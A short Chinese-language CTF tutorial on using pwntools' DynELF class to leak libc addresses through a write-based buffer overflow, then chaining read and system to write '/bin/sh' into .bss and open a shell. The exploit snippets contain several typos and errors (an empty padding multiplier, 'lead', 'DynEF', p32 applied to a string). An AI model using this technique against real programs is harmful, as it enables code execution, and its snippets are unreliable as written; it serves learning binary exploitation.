# 概述

由于在pwn题中有时候不给libc,那么需要我们自己通过泄露函数地址来获得libc的基地址,而往往LibcSearcher无法准确的得到libc版本,那么我们就需要利用DynELF,这是pwntools在早期版本就提供了一个解决方案——DynELF类;利用方式与ret2libc类似,都是泄露函数地址来计算得到libc基址,通俗地讲,DynELF就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址

并且:
write函数是最理想的,因为write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度

# 使用方式

首先需要构造一个函数


def leak(addr):  #addr为想要获得的函数地址
	payload_leak=b"a"*()+p32("write_plt")+p32(main)+p32(1)+p32(addr)+p32(0x100)
	p.send(payload_leak)
	fun_addr=p.recv()
	return fun_addr

然后需要实例化该函数(指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数)

d=DynELF(lead,pointer=pointer_into_ELF_file, elf=ELFObject)

实例化举例

d=DynEF( leak, elf=('./pwn') )

接下来可以运用实例化对象来找到想要的地址(通过这个实例d的方法lookup来搜寻libc库函数)


system=d.lookup('system','libc')
read=d.lookup('read','libc')
#用read是因为程序里没有'/bin/sh'字符串时,还需要我们写入字符串,一般为bbs段内

最后的payload为


p.sendline('a'*140 + p32(read) + p32(system) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline('/bin/sh\x00')#顺序为先执行read再到system

需要查看write函数能不能在程序中实现任意地址的读取打印
可以时可以用DynELF

DynELF泄露函数方法最方便的使用情况是程序中最好含有write函数等输出函数且可以多次反复调用,并且DynELF找的是字符串

参考:
https://blog.csdn.net/qq_40827990/article/details/86689760